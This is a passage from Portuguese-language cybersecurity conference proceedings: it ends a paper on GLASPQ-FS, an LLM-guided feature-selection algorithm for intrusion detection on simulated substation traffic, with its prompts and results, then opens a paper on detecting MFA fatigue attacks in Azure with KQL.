cluem a otimização computacional, uma análise detalhada dos parâmetros do algoritmo
e a disponibilização do código-fonte, com aplicação em um cenário realista baseado em
dados simulados de subestações elétricas. Como limitações, destaca-se a dependência
do critério de Information Gain na seleção inicial de atributos, a avaliação restrita a um
único conjunto de dados e a inflexibilidade na geração de subconjuntos. Como traba-
lhos futuros, os autores propõem a adoção de técnicas de inteligência artificial explicável,
como SHAP, e a experimentação com outros conjuntos de dados para validar e ampliar a
aplicabilidade do método.
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4. GLASPQ-FS

Esta sessão apresenta o GLASPQ-FS1, uma extensão mais flexı́vel do GRASP-FS apre-
sentado em [Quincozes et al. 2024b], a qual adiciona o uso de LLM no processo de
geração de novas soluções para otimizar a seleção de features. A Figura 1 apresenta uma
descrição em alto nı́vel do fluxo de execução do algoritmo

START

Dataset

Stop
Criteria

 LLM SOLUTION

CLASSIFIER F1-SCORE

PRIORITY QUEUE

LLM CALL API

CLASSIFIER
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Figura 1. Fases de Construção e Busca Local integradas ao LLM.

4.1. Visão Geral

O algorithm inicia com a seleção das features candidatas por meio da lista RCL, conforme
descrito em 2.2. Na fase de construção, solicita-se à LLM a geração de um conjunto de
possı́veis soluções, de tamanho BatchSize (quantidade de soluções), cada uma contendo
numF features selecionadas, neste momento a LLM não é livre para determinar quantas
features as soluções devem ter. Em seguida, essas soluções são avaliadas por meio de
um algoritmo de classificação (por exemplo, Random Forest) e mensuradas em termos de
F1-score.

As soluções com melhor desempenho são armazenadas em uma fila de prioridade,
cujo tamanho é limitado pelo parâmetro priorityQueueSize, que define a quantidade
máxima de soluções mantidas. Posteriormente, as soluções contidas nessa fila avançam
para a etapa de busca local. Nesse processo, a solução localizada no topo da fila (aquela
com maior F1-score) é removida. A LLM é então requisitada a gerar um novo conjunto
de soluções, também de tamanho BatchSize, com a possibilidade de superar o F1-score
atual.

Nesta etapa, o tamanho das soluções é flexı́vel, permitindo que a LLM explore
conjuntos com mais ou menos features (mas não menos features que a melhor solução
local, afim de otimizar o algoritmo, pois experimentos anteriores mostraram que reduzir as

1Algoritmo disponı́vel em: https://github.com/felipe-2705/LLM-IDS
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features na maioria dos casos leva a piores resultados). As novas soluções são novamente
avaliadas e, caso uma delas apresente desempenho superior, é definido um novo ótimo
local. Se esse ótimo local superar o melhor F1-score encontrado até o momento, passa a
ser considerado o ótimo global. Esse processo se repete iterativamente até que a fila de
prioridade seja esgotada.

4.2. GLASPQ-FS Algoritmo

O algorithm 1 apresenta o GLASPQ-FS, estruturado em duas fases principais: a fase de
construção (linhas 1 a 16) e a fase de busca local (linhas 17 a 23). Inicialmente, solicita-

Algorithm 1: GLASPQ-FS
Input: fSet (conjunto completo de atributos)
maxIt (número de iterações)
RCLsize (tamanho da RCL)
numF (número de features a selecionar)
priorityQueueSize (tamanho máximo da fila de prioridade)
BatchSize (quantidade de solução solicitadas a LLM por vez)
Output: bestFS (melhor subconjunto de atributos)

1 rcl← ∅;
2 bestFS← ∅;
3 bestFS.F1Score← 0;
4 priorityQueue← ∅;
5 llmPrompt← ”Texto especificando como a LLM deve selecionar as features na fase de

construção.”;
6 llmPromptLocal← ”Texto especificando como a LLM deve selecionar as features na

fase de busca local.”
7 foreach feature ∈ fSet do
8 feature← calcularIG(feature);

9 rcl← topIGRanked(fSet, RCLsize);
10 SolucaoInicial batch← construcao(numF, rcl, RCLsize, fSet,

BatchSize, llmPrompt);
11 foreach SolucaoInicial ∈ SolucaoInicial batch do
12 SolucaoInicial.F1Score← evaluate(SolucaoInicialn);
13 if priorityQueue ainda tem espaço then
14 addpriorityQueue(SolucaoInicial,

SolucaoInicial.F1Score);

15 else if SolucaoInicial.F1Score > priorityQueue.lowerF1Score()
then

16 priorityQueue.removeMenorF1Score();
17 addpriorityQueue(SolucaoInicial,

SolucaoInicial.F1Score);

18 while priorityQueue ̸= ∅ do
19 SolucaoInicial← priorityQueue.desenfileirar();
20 MelhorLocalFS← localSearch(SolucaoInicial, rcl, BatchSize,

maxIt,llmPrompt);
21 MelhorLocalFS.F1Score← evaluate(MelhorLocalFS);
22 if MelhorLocalFS.F1Score > MelhorFS.F1Score then
23 MelhorFS← MelhorLocalFS;
24 MelhorFS.F1Score← MelhorLocalFS.F1Score;

25 return bestFS;
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se à LLM um conjunto de soluções (fase de construção), que serão refinadas por meio da
exploração de soluções vizinhas (fase local).

Como entrada, o algorithm recebe: um conjunto de features (fSet), o número
máximo de iterações locais (maxIt), a quantidade de elementos incluı́dos na lista RCL
(RCLsize), o número de features em cada solução da fase de construção (numF), o ta-
manho da fila de prioridades (priorityQueueSize) e a quantidade de soluções requisita-
das por iteração (BatchSize). A saı́da é o melhor subconjunto de features encontrado.
Em seguida, são inicializadas as variáveis: a lista RCL, o melhor subconjunto até então
(bestFS), o valor de F1-score da melhor solução, a fila de prioridades e o prompt utili-
zado nas requisições à LLM. Nas linhas 6 e 7, executa-se um laço que calcula a Mutual
Information de cada feature, ranqueando-as e armazenando-as em rcl.

Na fase de construção, o prompt, definido em llmPrompt, solicita à LLM um
conjunto de soluções de tamanho BatchSize, cada uma com numF features. As soluções
retornadas são avaliadas pelo F1-score e, conforme o desempenho, inseridas na fila de
prioridades (linhas 10 a 16). A melhor solução passa a ser considerada o resultado global
inicial, armazenado em bestFS.

Concluı́da a construção e a ordenação da fila, inicia-se a busca local. A solução
no topo da fila é removida e utilizada como ponto de partida para até maxIt iterações.
Em cada iteração, solicita-se à LLM, usando o llmPromptLocal, um novo conjunto de
soluções de tamanho BatchSize, sem restrição quanto ao número máximo de features.
Essas soluções são avaliadas e a melhor é definida como ótimo local. Ao término das
iterações, o ótimo local é comparado ao ótimo global (bestFS); se apresentar F1-score
superior, passa a ser o novo ótimo global. Esse processo se repete para todas as soluções
da fila de prioridades. Por fim, o algorithm o retorna o melhor conjunto global de features.

5. Experimentos

Nesta sessão são apresentados os preparativos para a execução dos testes práticos para
avaliar o algoritmo proposto, assim como a base de dados.

5.1. Base de Dados

A base de dados foi gerada utilizando o ERENO [Quincozes et al. 2024a], ferramenta
desenvolvida para a simulação de tráfego de rede em subestações digitais, capaz de pro-
duzir mensagens GOOSE e SV, protocolos fundamentais nesse contexto. Para fins de
comparação, utilizou-se a mesma base apresentada em [Quincozes et al. 2024b]. O con-
junto de dados é composto por 4.000 amostras, incluindo registros de tráfego normal e
os ciberataques: Random Replay, Inverse Replay, Masquerade Fake Fault, Masquerade
Fake Normal, Injection, High StNum e Poisoned High Rate [Quincozes et al. 2024b].

São 51 features relacionadas ao tráfego de rede, fornecendo uma visão detalhada
das mensagens de controle, da frequência de comunicação e de outros padrões. Entre
essas features, incluem-se dados extraı́dos das mensagens SV (como valores de corrente
elétrica e tensão em diferentes fases da rede) e das mensagens GOOSE (como número
de estado, sequência e status do disjuntor), além de atributos derivados que permitem
análises mais completas sobre as caracterı́sticas dos sinais elétricos e diferenças entre
mensagens [Quincozes et al. 2024b].
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5.2. Ambiente de Teste e parametros

Para a avaliação do GLASPQ-FS, empregou-se o algoritmo Random Forest, selecionado
por ser um algoritmo robusto e amplamente usado na literatura. Os parâmetros definidos
foram os definidos na Tabela 1.

Tabela 1. Parâmetros utilizados nos experimentos

Parâmetro Valores

Conjunto inicial (fase de construção) 20 e 40 soluções
Conjunto (fase local) 10 e 20 soluções
Tamanho da solução (fase de construção) 5 e 10 features
Número de iterações (fase local) 5
Tamanho da fila de prioridade 10
Tamanho das RCLs 20 e 40
Número de features por solução (construção) 5 e 10

Os experimentos foram conduzidos em um computador com processador Intel
Core i7-7700 a 3.60GHz, 16 GB de memória RAM e placa de vı́deo NVIDIA GeForce
GTX 1060 com 6 GB. O modelo (LLM) utilizado foi o llama-3.1-8b-instant, acessado
por meio da API do Groq [Groq 2025]. Essa escolha se deve ao fato de a plataforma
disponibilizar uma cota elevada de tokens gratuitos por dia, ao contrário de concorrentes
que não oferecem recursos suficientes para a realização de testes experimentais.

5.3. Prompts

Diferentes versões de prompts foram avaliadas com o intuito de orientar o modelo de
linguagem na geração de conjuntos de features. O objetivo foi investigar como pequenas
variações nas instruções influenciam a consistência, a unicidade e a validade das soluções.

5.3.1. Etapa de Construção

O Prompt 1 enfatiza de forma explı́cita a obrigatoriedade de que cada conjunto de features
seja único e contenha exatamente o número de atributos estipulado. Ele detalha a entrada
e descreve a necessidade de utilizar o dicionário de features, além de reforçar o formato
de saı́da em JSON. Sua formulação é mais completa e instrutiva, fornecendo ao modelo
todos os elementos contextuais para evitar ambiguidades.

Your goal is to generate Exactly {BatchSize} unique feature sets (solutions), which solution must have
EXACTLY {numF} unique features that MUST be selected from RCL. Input in json format: {query json}.
The description of each feature is {RCL features dict}. Output MUST be a single valid JSON string in
following format (with no explanation or code): {{”solutions”: [[...], [...], ...]}}. This format is required.
Ensure the solutions are unique and selected feature set was not selected before. Do NOT include any
explanation, text, or Python code.

Prompt 1: Primeira estrutura de prompt para a fase de construção.

O Prompt 2, por sua vez, mantém a estrutura do primeiro, mas acrescenta um
detalhe importante: a ordem das features não deve ser considerada como critério de uni-
cidade. Isto é, os conjuntos [1,2] e [2,1] devem ser tratados como equivalentes. Essa
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instrução adicional busca mitigar redundâncias que poderiam comprometer a diversidade
das soluções, garantindo que o processo de construção produza resultados distintos.

Your goal is to generate Exactly {BatchSize} unique feature sets (solutions), which solution must have
EXACTLY {numF} unique features that MUST be selected from RCL. Input in json format: {query json}.
The description of each feature is {RCL features dict}. Output MUST be a single valid JSON string in fol-
lowing format (with no explanation or code):{{”solutions”: [[...], [...], ...]}}. This format is required. Ensure
the solutions are unique (Feature order doesnt make a new solutions. [1,2] and [2,1] are same solution) and
selected feature set was not selected before. Do NOT include any explanation, text, or Python code.

Prompt 2: Segunda estrutura de prompt para a fase de construção.

Já o Prompt 3 apresenta uma versão mais enxuta, sem mencionar o dicionário de
features e com instruções mais curtas. Embora simplificado, esse formato pode redu-
zir a quantidade de informações contextuais fornecidas ao modelo, o que potencialmente
aumenta a ambiguidade na geração das soluções. Em contrapartida, sua concisão pode fa-
vorecer cenários em que o objetivo é restringir o modelo a instruções mı́nimas, avaliando
sua capacidade de inferir regras a partir do essencial.

Your goal is to generate Exactly {BatchSize} unique feature sets (solutions), which solution must
have EXACTLY {numF} unique features that MUST be selected from RCLInput in json format:
{query json}.Output MUST be a single valid JSON string in following format (with no explanation or
code):{{”solutions”: [[...], [...], ...]}}. This format is requiredEnsure the solutions are unique and selected
feature set was not selected before.Do NOT include any explanation, text, or Python code.

Prompt 3: Terceira estrutura de prompt para a fase de construção.

5.3.2. Busca Local

Já para a fase de Busca Local os Prompts 4 e 5 foram experimentados. A seguir, cada um
desses prompts, bem como seus respectivos propósitos, são explanados.

O Prompt 4 enfatiza a obrigatoriedade de cada um dos conjuntos serem únicos
e baseados na melhor solução encontrada até então. Os conjuntos encontrados anterior-
mente são informados através da propriedade current solutions em querry json. Diferente
da fase de construção, nenhuma explicação das features é fornecida. Também é removida
a restrição de tamanho dos conjuntos possibilitando diversos tamanhos de conjuntos em
um unico laço, com a unica restrição de serem maiores ou iguais ao tamanho da melhor
solução encontrada. Dessa forma, espera-se reduzir a chance de soluções repetidas serem
retornadas pela LLM, além de aumentar a liberdade para encontrar soluções melhores.
No entanto, não existe garantia que a LLM não irá gerar soluções repetidas por isso é
avaliado na tabela 3 a porcentagem de novas soluções geradas.

O Prompt 5 mantém a estrutura do prompt 4, mas acrescenta ao objetivo a intenção
de melhorar o F1-score dos conjuntos, além de informar o F1-score que cada solução en-
contrada no laço anterior, um sistema de feedback. Ou seja, os conjuntos apresentados em
querry json possuem uma informação a mais, [Conjunto,F1-score]. Trazer a informação
do F1-score de cada conjunto tem como objetivo enriquecer o contexto da LLM e facilitar
a busca por soluções melhores.

Segurança Cibernética na Prática

178



”Your goal is to generate EXACTLY {BatchSize} (NEVER MORE THAN THAT) unique feature sets
(solutions), each with features that MUST be selected from RCL, based on modifying the best solution.
Do NOT reuse any solution from current solutions.Features MUST be selected from RCL.Each solution
must be at least the same size as best solutionInputs in json format: {querry json}.Output MUST be a
single valid JSON string in following format (with no explanation or code):{{”solutions”: [[...], [...], ...]}}.
Solutions list MUST BE exactly {BatchSize} long. This format is requiredEnsure the solutions are unique
and selected feature set was not selected before.Do NOT include any explanation, text, or Python code.”

Prompt 4: Primeira estrutura de prompt para a fase de Busca Local.

”Your goal is to generate EXACTLY {BatchSize} (NEVER MORE THAN THAT) unique feature sets
(solutions), each with features that MUST be selected from RCL, based on modifying the best solution to
improve F1-score. Do NOT reuse any solution from current solutions. current solutions has values from
previous iterations and its F1-Score. Features MUST be selected from RCL. Each solution must be at least
the same size as best solution. The input has tuples with the solution and its F1-Score: [solution,F1-score].
Inputs in json format: {querry json}.Output MUST be a single VALID JSON string in following format
(with no explanation or code):{{”solutions”: [[...], [...], ...]}}. Solutions list MUST BE exactly {BatchSize}
long. This format is required. JSON sintax MUST be correct. Ensure the solutions are unique and selected
feature set was not selected before. Do NOT include any explanation, F1-score, text, or Python code.”

Prompt 5: Segunda estrutura de prompt para a fase de Busca Local.

As variáveis BatchSize e numF são explicadas na sessão 4.2. As demais utili-
zadas nos prompts são as que seguem (observe que elas não aparecem explicitamente no
Algoritmo 4.2, pois são parte da construção do parâmetro llmPrompt):

• query json: consiste em uma variável no formato JSON que contém as
informações de entrada para a LLM. Seu conteúdo varia, para os prompts da fase
de construção apenas a lista RCL está presente, já na fase local apresentam a lista
RCL, a melhor solução encontrada localmente e o conjunto de soluções gerados
pela iteração anterior. No prompt 5, o F1-score de cada solução também é in-
cluı́do;

• RCL features dict: dicionário que relaciona cada feature ao seu respectivo signi-
ficado, com o objetivo de fornecer contexto adicional à LLM.

6. Resultados e Discussão
Nesta sessão são apresentados de forma consolidada os resultados dos testes realizados
com os parâmetros descritos na sessão 5.2. Foram conduzidos seis experimentos distintos,
variando-se os parâmetros e os prompts utilizados na implementação do GLASPQ-FS, a
fim de avaliar o impacto de diferentes configurações, a consistência das soluções e a
taxa de geração de conjuntos válidos. A seguir, apresenta-se uma sı́ntese dos objetivos e
particularidades de cada experimento:

• Experimento 1 (Exp. 1): Avaliação da Estrutura de Comunicação com a
LLM: Investigou a influência da padronização das respostas da LLM no formato
JSON e o impacto dessa estrutura na redução de respostas inválidas e alucinações
durante a geração das soluções iniciais e da busca local (Prompts 3 e 4).

• Experimento 2 (Exp. 2): Impacto do Contexto Descritivo das Features: Ava-
liou o efeito da inclusão de um dicionário explicativo de features (Prompt 1) na
qualidade das soluções geradas, observando se que o contexto semântico adicional
favorece maior consistência e desempenho.
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• Experimento 3 (Exp. 3): Ampliação da RCL e Soluções Maiores: Avaliou
o impacto do tamanho da lista RCL e da complexidade das soluções iniciais na
precisão e na taxa de soluções válidas, mantendo-se os prompts do Exp. 2.

• Experimento 4 (Exp. 4): Inclusão do F1-Score no Ciclo Iterativo: Testou o
fornecimento do F1-score das soluções anteriores à LLM (Prompt 5), permitindo
que o modelo utilizasse feedback de desempenho para aprimorar a busca local e
priorizar conjuntos potencialmente mais eficazes.

• Experimento 5 (Exp. 5): Escalonamento da Geração de Soluções Iniciais:
Aumentou o número de soluções geradas na fase de construção (40 soluções),
analisando o efeito da ampliação do espaço de busca e da repetição de soluções
com prompts mais concisos (Prompts 2 e 4).

• Experimento 6 (Exp. 6): Estudo Comparativo de Escalabilidade e Robus-
tez: Repetiu a configuração de prompts do Experimento 3, variando parâmetros
de tamanho da RCL e número de soluções, a fim de avaliar a estabilidade e a
capacidade de generalização do GLASPQ-FS em diferentes cenários.

A Tabela 2 apresenta de forma unificada os principais parâmetros utilizados em
cada experimento. O desempenho obtido em cada experimento é sintetizado na Tabela 3,

Tabela 2. Parâmetros utilizados nos experimentos com o GLASPQ-FS.

Experimento Soluções Iniciais (SI) Soluções na Busca Local (SBL)

RCL Prompt SI (#) Features Fila Prompt Iter. SBL (#) Features

Exp. 1 20 Prompt 3 20 5 10 Prompt 4 5 10 Variável
Exp. 2 20 Prompt 1 20 5 10 Prompt 4 5 10 Variável
Exp. 3 40 Prompt 1 20 10 10 Prompt 4 5 20 Variável
Exp. 4 20 Prompt 2 20 5 10 Prompt 5 5 20 Variável
Exp. 5 20 Prompt 2 40 5 10 Prompt 4 5 20 Variável
Exp. 6 20 Prompt 1 40 5 10 Prompt 4 5 10 Variável

destacando as taxas de novas soluções geradas na fase local, o número de respostas
inválidas e o melhor F1-score alcançado.

Tabela 3. Sumário geral dos resultados dos experimentos.

Métrica Exp. 1 Exp. 2 Exp. 3 Exp. 4 Exp. 5 Exp. 6

Novas soluções (fase local) 84% 50% 63% 63% 60% 84%
Soluções inválidas 0 0 47 25 6 0
Melhor F1-Score 0.9308 0.9186 0.9915 0.9263 0.9310 0.9030

Os resultados indicam que a estrutura padronizada de comunicação (Exp. 1) re-
duziu significativamente a ocorrência de alucinações e respostas inválidas. A inclusão de
descrições semânticas (Exp. 2) contribuiu para maior coerência das soluções, enquanto
o aumento do tamanho da RCL e das soluções iniciais (Exp. 3) proporcionou o melhor
desempenho geral, atingindo um F1-score de 0.9915. O uso de feedback de desempenho
(Exp. 4) e o aumento do batch size (Exp. 5) não resultaram em ganhos expressivos, e o
estudo de escalabilidade (Exp. 6) mostrou estabilidade, porém sem superação da baseline.

A Figura 2 apresenta o comportamento do F1-score durante a execução do Expe-
rimento 3, evidenciando a melhoria progressiva das soluções iniciais após a busca local.
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Figura 2. Melhora das soluções iniciais após busca local no Experimento 3, o
melhor desempenho obtido.

Com base nesses resultados, o Experimento 3 apresentou o melhor equilı́brio entre
precisão, estabilidade e diversidade de soluções, sendo utilizado como referência para a
comparação direta com o algoritmo GRASPQ-FS, apresentada na sessão 7.

7. Comparação com o GRASPQ-FS
Após a realização dos experimentos com o GLASPQ-FS, esta sessão apresenta uma
comparação com o GRASPQ-FS [Quincozes et al. 2024b]. Para fins de comparação,
foi escolhido o Experimento 3 do GLASPQ-FS, pois apresentou o maior F1-Score entre
todos os experimentos realizados neste estudo.

De modo a executar-se uma comparação justa entre os algoritmos, os parâmetros
da Tabela 4 foram utilizados nos experimentos realizados com o GRASPQ-FS. Ademais,
foi utilizado o mesmo algoritmo classificador (Random Forest) e foi processada a mesma
quantidade de soluções do Experimento 3. Para tanto, o tamanho da fila de prioridades era
de 10, cada iteração da busca local continha 20 soluções e foram realizadas 5 iterações,
totalizando 10× 20× 5 = 1000 soluções.

Tabela 4. Parâmetros utilizados no GRASPQ-FS

Parâmetro Valores

Conjunto (fase de construção) 20 soluções
Tamanho da solução 10, 15 e 20
Número de iterações (fase local) 100
Tamanho da fila de prioridade 10
Tamanho das RCLs 40

A quantidade de soluções analisadas com esses parâmetros é consistente, con-
siderando que para cada execução o tamanho das soluções foi ajustado, pois, diferente
do GLASPQ-FS, o GRASPQ-FS não permite variar o tamanho das soluções durante a
execução. Por isso, foram realizadas três execuções, considerando o fator de aleatori-
edade presente no GRASPQ-FS. É importante observar que os tamanhos das soluções
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(10,15 e 20) não foram escolhidos aleatoriamente, mas são um aumento gradativo do
tamanho inicial da execução do experimento 3 do GLASPQ-FS, 10, até o melhor valor
encontrado pelo GLASPQ-FS, 20.

Analisando os resultados apresentados na Tabela 5, verifica-se que o melhor
F1-Score encontrado pelo GRASPQ-FS foi de 0, 9914, enquanto no Experimento 3 do
GLASPQ-FS, conforme a Tabela 3, o valor obtido foi de 0, 9915.

Tabela 5. Resultados dos experimentos GRASPQ-FS

Parâmetro Experimento 1 Experimento 2 Experimento 3

Novas soluções (fase local) 100% 100% 100%
Melhor F1-Score 0.9664 0.9885 0.9914

Embora a diferença entre os resultados obtidos seja pequena, a execução do al-
goritmo GRASPQ-FS exigiu três rodadas distintas, com ajustes manuais no tamanho
das soluções (i.e., 10, 15 e 20 features). Esses valores foram definidos com base nas
análises realizadas pelo GLASPQ-FS, que foi capaz de determinar automaticamente o ta-
manho ótimo das soluções. Essa caracterı́stica foi fundamental, pois permitiu identificar a
configuração mais adequada e, consequentemente, extrair maior potencial do GRASPQ-
FS, que pôde ter o número de features ajustado gradualmente de forma mais precisa,
graças ao GLASPQ-FS.

A capacidade do GLASPQ-FS de ajustar dinamicamente o tamanho de suas
soluções, com base nas análises conduzidas pela própria LLM, representa seu principal
diferencial em relação ao GRASPQ-FS. Já na primeira execução, o algoritmo foi capaz
de identificar autonomamente uma configuração ótima contendo 20 features, sem neces-
sidade de intervenção manual. Esse comportamento evidencia a flexibilidade e autonomia
do GLASPQ-FS, além de demonstrar seu papel essencial no aprimoramento e calibração
de abordagens tradicionais em problemas de seleção de features.

No entanto, para tal ganho a LLM apresenta um gargalo na eficiência de tempo do
algoritmo, aumentando em aproximadamente 104% a execução na fase local e em 47%
na fase de construção, como observado na tabela ??. Além disso, o tempo para encontro
da melhor solução pelo GLASPQ-FS também foi maior, cerca de 306 segundos contra
107 segundos do GRASPQ-FS.

Tabela 6. Resultados da comparação dos melhores casos

Parâmetro GRASPQ-FS GLASPQ-FS

Melhor F1-Score 0,9914 0,9915
Tempo (Construção) 8,80 s 12,94 s
Tempo (Busca Local) 493,12 s 1008,86 s
Tempo melhor solução 107,412 segundos 306,977 segundos
Quantidade de execuções 3 1

8. Conclusão
Neste artigo, foi apresentado o GLASPQ-FS, uma extensão do algoritmo GRASPQ-FS já
consolidado na literatura. A principal modificação proposta consiste na substituição do fa-
tor aleatório pelo uso de IA generativa e LLMs, o que resultou em uma maior flexibilidade
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do algoritmo. Essa abordagem permite que soluções de diferentes tamanhos sejam explo-
radas de forma não aleatória, como ocorre no GRASPQ-FS tradicional, mas orientadas
pelos padrões complexos identificados pela LLM na seleção das features. Como con-
sequência, o GLASPQ-FS foi capaz de explorar uma variedade mais ampla de soluções
com número de features variados, alcançando resultados que antes (nas outras versões
do GRASP-FS) não eram alcançáveis sem a definição adequada (de forma manual) do
tamanho das soluções. Portanto, os resultados apresentados neste trabalho demonstram
que o GLASPQ-FS representa um passo promissor na integração entre técnicas de me-
taheurı́sticas e modelos de linguagem, evidenciando o potencial das LLMs em apoiar
processos de otimização e seleção de features de maneira inteligente e adaptativa.

Para trabalhos futuros, ainda há diversas possibilidades a serem exploradas, como
o uso de outros modelos LLM (por exemplo, GPT, Gemini e afins), a criação de prompts
mais extensos e informativos (viáveis em versões pagas), além da realização de novos tes-
tes com diferentes configurações de parâmetros, maior número de execuções e a aplicação
em distintas bases de dados. Essas direções podem contribuir para aprimorar a robustez e
a generalização do GLASPQ-FS.
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Abstract. Multi-Factor Authentication (MFA) is the security standard for 

protecting digital identities in cloud environments, such as Microsoft Azure. 

However, the convenience of push notifications via mobile application has led 

to a new and effective attack vector: the MFA Fatigue Attack, which 

overwhelms the user with MFA authentication requests. Given the inadequacy 

of simple rule-based detections, this work proposes the development of a 

proactive detection methodology. To detect this type of attack, queries were 

developed using Kusto Query Language (KQL), encompassing the analysis of 

behavioral patterns of fatigue attacks in Azure authentication logs. 

Resumo. A Autenticação Multifator (MFA) é o padrão de segurança para 

proteção de identidades digitais em ambientes cloud, como o Microsoft Azure. 

Contudo, a conveniência das notificações push deu origem a um novo e eficaz 

vetor de ataque: o Ataque de Fadiga MFA (MFA Fatigue Attack), que 

sobrecarrega o usuário com solicitações de autenticação MFA. Diante da 

insuficiência das detecções baseadas em regras simples, este trabalho propõe 

o desenvolvimento de uma metodologia de detecção proativa. Para realizar a 

detecção desse tipo de ataque, foram desenvolvidas consultas utilizando a 

Kusto Query Language (KQL), que abrangem a análise dos padrões 

comportamentais de ataques de fadiga nos logs de autenticação do Azure. 

1. Introdução 

O modelo AAA (Authentication, Authorization, Accounting) sustenta diretamente um 

dos pilares da segurança da informação: a Confidencialidade. A autenticação 

(Authentication) garante que apenas usuários, dispositivos ou entidades legítimos 

tenham acesso à informação (FRANCIS, 2024). Historicamente, a autenticação 

baseava-se em um único fator, tipicamente uma senha (algo que você sabe). Contudo, a 

crescente sofisticação de ataques de phishing e o roubo de credenciais tornaram essa 

abordagem insuficiente. 

Neste contexto, a Autenticação Multifator (MFA) e sua forma mais comum a 

Autenticação de Dois Fatores (2FA), emergiram como o padrão de segurança moderno. 

A MFA requer que o usuário prove sua identidade utilizando dois ou mais fatores de 

verificação de categorias distintas. O National Institute of Standards and Technology 

(NIST), importante fonte de referência em governança de segurança da informação, 

classifica os fatores de autenticação em três categorias primárias (NIST, 2025): 
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• Conhecimento (Algo que você sabe): Informações que apenas o usuário deve 

conhecer, como senhas e PINs; 

• Posse (Algo que você tem): Um objeto físico ou dispositivo que o usuário 

possui, como tokens de hardware ou smartphones que recebem notificações; 

• Inerência (Algo que você é): Características biométricas únicas do usuário, 

como impressão digital ou reconhecimento facial. 

 Além desses fatores primários, sistemas modernos de gerenciamento de 

identidades, como o Microsoft Entra ID, utilizam fatores contextuais e comportamentais 

(e.g., localização geográfica, horário de acesso, score de risco do dispositivo) para 

aprimorar as decisões de acesso. Entre as implementações de MFA, o método de 

notificação push via aplicativo móvel (como o Microsoft Authenticator) é amplamente 

adotado devido à sua conveniência. No entanto, é precisamente essa conveniência que o 

torna vulnerável a um novo e perigoso vetor de ataque. 

 A migração massiva de ambientes corporativos para plataformas em nuvem, 

como o Microsoft Azure, elevou a MFA a um componente de segurança obrigatório. 

Contudo, essa adoção trouxe consigo a exploração de uma vulnerabilidade humana: o 

Ataque de Fadiga MFA (MFA Fatigue Attack ou Prompt Bombing) (MAYNES, 2019). 

Neste ataque, o agente malicioso, após obter a senha primária do usuário, bombardeia o 

dispositivo móvel com notificações de autenticação push consecutivas. O objetivo é 

explorar a fadiga decisória do usuário e a pressão psicológica, induzindo-o a aprovar a 

solicitação de acesso acidentalmente ou por exaustão, na tentativa de fazer as 

notificações pararem. 

 Um dos exemplos mais conhecidos desta técnica foi o ataque sofrido pela Uber 

em 2022, onde o grupo de hackers LAPSUS$ utilizou o bombardeio de MFA contra um 

funcionário terceirizado, levando-o a aprovar o acesso após ser repetidamente 

importunado pelas notificações (VIJAYAN, 2022). Este caso demonstrou a eficácia do 

ataque como um vetor de acesso inicial, mesmo em organizações com segurança 

robusta, demonstrando que o elo mais fraco na cadeia de segurança não é a tecnologia, 

mas sim o fator humano (SILVERS et al., 2023). 

 Diante da crescente prevalência e da natureza sutil deste ataque, que se camufla 

em meio a eventos de autenticação legítimos, emerge a questão central desta pesquisa: 

Como as organizações podem detectar proativamente e mitigar eficazmente os ataques 

de fadiga MFA em ambientes Azure utilizando a Kusto Query Language (KQL) e 

ferramentas nativas da plataforma, como o Microsoft Log Analytics, parte integrante do 

ecossistema Azure? 

 A detecção tradicional baseada em regras simples de falha de login tem se 

mostrado insuficiente para identificar os padrões comportamentais complexos e de 

baixo volume característicos dos ataques de fadiga, exigindo uma abordagem analítica 

mais sofisticada. 

 Este trabalho tem como propósito resolver o problema da falta de uma 

metodologia eficaz para detecção de ocorrências de ataques de fadiga MFA, utilizando 

para isso consultas KQL criadas exatamente para esse fim, em tabelas de registros de 

logins de usuários no ambiente Microsoft Azure. 
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2. Fundamentação Teórica 

A Revisão Bibliográfica serve como a base conceitual para o desenvolvimento desta 

pesquisa, estabelecendo o estado da arte e definindo os termos técnicos essenciais. Esta 

seção está estruturada para abordar os pilares do trabalho: a Autenticação Multifator 

(MFA), a ameaça emergente dos Ataques de Fadiga MFA, e as ferramentas analíticas 

(KQL e Microsoft Log Analytics) utilizadas para a detecção. 

2.1 Autenticação Multifator (MFA) e o Ecossistema Azure 

A Autenticação Multifator é um mecanismo de segurança que exige a apresentação de 

dois ou mais fatores de autenticação de categorias distintas para verificar a identidade 

de um usuário (NIST, 2025). Este modelo supera a fragilidade da autenticação de fator 

único (somente o uso de senha), que se tornou altamente vulnerável a ataques de 

phishing (MAYNES, 2019), e roubo de credenciais. 

 No ecossistema do Microsoft Azure, a implementação da MFA é gerenciada 

pelo Microsoft Entra ID (KULKARNI e SHAH, 2025). As modalidades mais comuns 

incluem códigos TOTP (Time-based One-Time Password), chaves de segurança FIDO2 

e, notavelmente, as notificações push via aplicativo Microsoft Authenticator. Enquanto 

as notificações push oferecem grande conveniência, a simplicidade do processo de 

aprovação com um clique é o ponto de vulnerabilidade explorado pelos ataques de 

fadiga. 

2.2 Ataques de Fadiga MFA (MFA Fatigue Attacks) 

Os Ataques de Fadiga MFA, também referidos como MFA Bombing ou Prompt 

Bombing, são uma tática de ataque que explora o fator humano em vez de 

vulnerabilidades técnicas no protocolo de autenticação. Conforme Figura 1, neste tipo 

de ataque o atacante envia repetidas solicitações push ao dispositivo móvel da vítima, 

que por sua vez, acaba aprovando a solicitação por se sentir fadigado ou confuso, sem 

ter ideia de que na verdade está cedendo ao atacante acesso total ao recurso protegido. 

(SOSAFE, © 2025).  

 

 

 

 

 

 

 

 

 

Figura 1 - Dinâmica de um Ataque de Fadiga MFA 
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2.3 Mecanismo e Casos Notórios 

O ataque ocorre quando o cibercriminoso, após obter a senha primária do usuário por 

meio de phishing, vazamento de dados ou até mesmo através da compra de credenciais 

roubadas na dark web, inicia múltiplas tentativas de login em rápida sucessão. Isso 

resulta no bombardeio do dispositivo móvel do usuário com notificações de aprovação 

de MFA. O objetivo é induzir a fadiga decisória e a pressão psicológica para que o 

usuário aprove a solicitação maliciosa, simplesmente para interromper o fluxo 

incessante de notificações, sem saber que na verdade está cedendo ao atacante acesso à 

sua conta online.  

 Além do ataque sofrido pela Uber (VIJAYAN, 2022), a Cisco também foi 

vítima onde um grupo criminoso conseguiu acesso à rede corporativa da empresa graças 

a credenciais coletadas após o sequestro de uma conta do Google que continha 

credenciais sincronizadas em seu browser. (GATLAN, 2022) 

2.4 Kusto Query Language (KQL) 

A Kusto Query Language (KQL) é a linguagem de consulta desenvolvida pela 

Microsoft para análise de dados em grande escala, sendo a espinha dorsal de serviços 

como Azure Data Explorer, Azure Monitor Log Analytics e, crucialmente, o Microsoft 

